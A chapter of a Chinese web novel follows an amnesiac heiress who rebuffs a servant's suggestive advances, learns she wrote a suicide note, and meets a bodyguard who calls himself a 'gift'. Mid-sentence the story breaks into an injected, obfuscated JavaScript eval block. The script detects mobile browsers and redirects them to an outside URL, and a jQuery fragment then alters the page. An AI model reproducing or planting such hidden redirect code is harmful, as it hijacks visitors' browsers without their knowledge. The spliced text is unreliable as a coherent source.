“疏……”
左溪月难得结巴,幸好理智还在,她摆出架子,让自己看起来不像没见过世面的样子,语气冷漠:“什么疏解?谁跟你说的?”
岁樟的动作依然轻轻的,他的手指滑动,一路滑到她的脖子上,指腹揉捏她僵硬的肩颈:
“所有人。”
他的声音听不出情绪,仿佛只是在陈述事实:“这是所有人的共识,整个庄园,都是这么觉得的。”
岁樟的指腹温热,上面带着一层薄薄的茧,摩擦得她浑身发痒,尤其是后颈,一阵酥麻。
“所以,请给我一次实习的机会,让我服务您……”
“够了!”
左溪月深吸一口气,忍无可忍打断他,一把挥开他的手:“回去吧,这里不需要你。”
“不需要吗?”
岁樟手背被她拍红了,他的手搭在沙发靠背上,眼眉低垂:“可是您重金聘用我,不就是为了这些吗?”
“您不会不清楚,”他轻抚自己的手背,“管家安排我留在医院过夜,到底是为了什么。”
左溪月站在岁樟对面,他们中间只隔着一座沙发。
“管家说,我和其他人不同,我会是您的贴身侍从,而您,是我的……”
岁樟缓缓抬头,纤长的睫毛颤颤巍巍掀起,露出一双含水的眼睛:“主人。”
“主人,”岁樟的脸在灯光下显现出一种诡异的魅惑,“请给我一次实习的机会,考验我能否留在您身边……”
“闭嘴。”
左溪月皱眉打断他,她原本只把他当成一个安分男大,但现在,她对岁樟的好印象都没了。
那个什么管家也是的,她还在住院呢,就搞这出把戏,是生怕她死的慢吗?
“你只是个侍从,”她说,“说得通俗点,你就是个保姆而已,不要想太多了。”
“真的吗?”
岁樟重新敛眸,嘴角却微微翘起,语气淡淡:“可我的工资比其他人高了不少,天下没有免费的午餐,如果不需要我为您疏解,那您需要什么呢?我需要付出什么呢?”
他嘴角虽然是翘着的,但眼神毫无波澜,笑容透出几分虚假和空洞。
左溪月不知道庄园员工的工资具体怎么算的,但用头发丝想想都知道她这种身份的人是不可能亲自安排工资的。
“你到底知不知道,”左溪月走向岁樟,“我是蓬城首富左家独女,是整个左氏唯一的继承人。”
“你口中的高工资,对我来说,连洒洒水都算不上。”
她单膝跪在沙发上,双手撑着沙发背,眼神紧盯岁樟:“所以,做好你的本职工作,就够了。”
“管家那边我会回去沟通,”她放软一点声音,“现在,离开我的房间,天亮之前不要来打扰我。”
岁樟微微垂头与她对视,又在下一秒收回视线。
“明白了。”
他偏头后退,从刚才自荐枕席的侍从,又变回了白天安静清澈的模样。
卧室门被轻轻关上,安静的房间里,只剩下她一人的心跳声。
也就是仗着岁樟既没钱也不了解她,她才敢装模作样用身份压他,换成商之绪的话,他根本不会被她唬住。
左溪月反锁了卧室门,确认只有从内部才能打开门,这才放心睡觉。
第二天一大早,左溪月才刚睁眼,就有人敲响她的房门,语气恭敬:
“左小姐,您醒了吗?我们来为您换药和检查身体。”
她躺在床上,意识渐渐回笼,先去洗了把脸,然后才拉开房门,问道:“你们怎么进来的?”
左溪月放医生进来之后,重新转去卫生间,挤好牙膏开始刷牙。
中年女医生满脸含笑:“我们到的时候,刚好有个男孩从你房里出来,是他把我们放进来的,让我们等你睡醒。”
“哦。”
左溪月梳了梳头发,又想起昨天岁樟出乎意料的举动。
女医生语气狠正常,但左溪月忍不住解释了一句,以示自己的清白:“他是我的侍从,昨天值班而已。”
一个毛躁的脑袋从门口探出来,雷娜脸上架着一副细框眼镜,满脸疲惫:“谁排的班,不知道病人需要节制……”
女医生用力给了雷娜一个肘击,怼得雷娜“嗷”一声闪到旁边,满脸不高兴。
左溪月洗漱完毕,走出卧室来到客厅,女医生和雷娜一前一后跟着她来到客厅,女医生端正站在客厅沙发旁,雷娜却一屁股坐在了单人沙发上,一个眼神都没分给左溪月。
左溪月看了她一眼,没说什么,只是指指沙发,对着女医生开口:“你也坐。”
等她落座了,左溪月才继续说:“我最早什么时候能出院?”
女医生看了雷娜一眼,见雷娜没有开口的意思,才主动回答:“我们建议您最好再留院观察几天,防止伤口恢复异常,如果您很着急的话,最早也要三天后……”
“呵呵。”
雷娜莫名冷笑两声,打断医生。
左溪月转头看她:“你有想法?”
“没有啊,”雷娜耸肩,“就是想不到你的伤口能有什么异常。”
女医生的脸色有些差,她瞪了雷娜一眼,没说什么。
左溪月摸了摸自己的额头,说实话,她也不知道这点淤青能有什么异常。
至于大脑内部,她这几天做了无数检查,都显示毫无异常,也就是说,她除了额头淤青,没有任何问题。
“如果确定没有问题,我希望能尽早出院,最好今天就出院。”
左溪月看向医生:“麻烦你去处理一下,尽快。”
女医生皱了皱眉,劝说道:“左小姐,不是我不想让您出院,实在是您的身体很珍贵,我们不敢怠慢啊。”
“还是说,我们医院有哪里做的不好的地方?是病房太小了吗?还是花园不够宽敞?您只管提,您的意见也是我们进步的动力……”
“没有,”左溪月揉揉脑袋,“你们的工作很好,我有自己的打算,按我说的做就行。”
女医生连连点头,面上还带着担忧和挽留,走出门的步伐却是轻快的。
左溪月知道,她这样的大人物留在医院里,对医护人员来说也是一种无形的压力。
“哼哼,”雷娜瘫在沙发里,“别以为她真心关心你,她只是想要掏空你的钱包。”
“这是左家的医院,”左溪月斜她一眼,“掏不空我的钱包。”
雷娜点点头:“所以还有我的事吗?没我的事我就下班了。”
左溪月挥挥手:“走吧。”
“哦。”
雷娜点头,又眨眨眼,绞尽脑汁似的提醒她:“我不知道你之前为什么自杀,但既然失忆了,就不要再做那种事情了。”
左溪月嗤笑:“你怎么确定我就是自杀?”
“什么呀,”雷娜看傻子一样,“你果然失忆了,都不记得自己写过遗书了吗?”
左溪月一愣:“什么?”
“遗书呀,你自己写的,还昭告天下了呢,身边没人不知道。”
雷娜挠了挠头:“但是我一直以为你只是未雨绸缪,没想到你是真的要死。”
遗书?
遗书!
左溪月指甲扣着关节,眉头越皱越深。
怎么没人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817759|190982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
告诉过她,她写了遗书?
那她真是自杀?她的遗书里写了什么?
左溪月压下内心焦躁,对着雷娜下逐客令:“你先回去吧。”
雷娜摘了眼镜,打个哈欠就往外走,一点都不留恋。
然而她打开门后,却又折了回头,上下扫左溪月一眼,苦口婆心:“但我还是要劝你节制,真的。”
“什么?”左溪月思绪被拉了回来。
“早上那个男生才刚走,这就又排队来了另一个。”雷娜摇头。
“你说什么呢?”左溪月皱眉。
雷娜也不多说,双手把门开到最大,露出门外走廊上的黑色身影。
“您心里有数,我不多说了。”雷娜调侃一句,转身离开。
雷娜走后,门口再也没有遮掩,大开的门板让门内外的空间都一览无余,左溪月看向门外的男人,眉头微锁。
是昨天江天雅送过来的保镖,他竟然一整夜都待在这里吗?
“你一直在这里?”左溪月隔着半个客厅与他对视。
男人身上的黑衬衫有些皱了,柔软的长发搭在左肩,凌乱但不邋遢。
他眼下带着一丝黑青,嗓音没什么情绪:“是。”
今天的他,看起来比昨天要多了几分冷漠,少了很多刻意的讨好感。
“你叫什么名字?”她问。
男人站得笔直,惜字如金:“黎默。”
和昨天……不太一样。
左溪月向门边走了几步,却没有离开自己的套间,始终站在安全地带。
她看着黎默,双手抱胸直白问道:“你是主动要做我的保镖吗?”
左溪月问完,安静等待他的回复。
她在思考自己是不是真的需要一个新保镖,来降低她的死亡可能性。
“我是……”
黎默愣了几秒才回答。
左溪月听着他犹豫的回答,心里刚出现的几分兴趣也没了。
“……礼物。”
黎默却补充道。
左溪月挑眉:“什么?”
“我是礼物。”黎默直视她的双眼,眼下的青黑让他看起来略显阴郁,但说出的话却尽显顺从。
他再度启唇:“我是礼物,被挑选送到您手中的礼物。”
“对礼物而言,重要的不是买下礼物的人,而是收到礼物的人。”
黎默丝毫没有尴尬和羞耻的神色,他面无表情,一双眼睛毫无波澜:“因为收下礼物的人,才是礼物真正的、唯一的所有者。”
左溪月有点尴尬,但面上不显,反而顺着他的话问下去:“那你的意思是,你只会忠于我、只会服务于我,对吗?”
“是。”
长篇大论后,黎默再次惜字如金。
左溪月不屑:“那你怎么证明呢?怎么证明你是个合格的……礼物?”
然而,还未等黎默开口,电梯门便缓缓打开——
“什么礼物呀?”
左漾笑嘻嘻出现在电梯里,一脸懵懂:“谁又给姐姐送礼了?”
左溪月愣了一下,她没想到左漾会出现。
左漾走出电梯,弯弯的眼睛看向黎默:“姐姐,这是谁呀?”
左溪月刚想回答,左漾便朝旁边让了一步,露出身后依旧大开的电梯门:
“商少爷,还以为我们已经来得够早了,没想到还是落人一步呀。”
一双包裹在西装裤里的、笔直修长的腿缓缓迈出电梯,商之绪不带表情的脸出现在左溪月面前。
“溪月,这位……”
他扫了眼黎默,语气里带着玩味:“又是来送什么礼的?”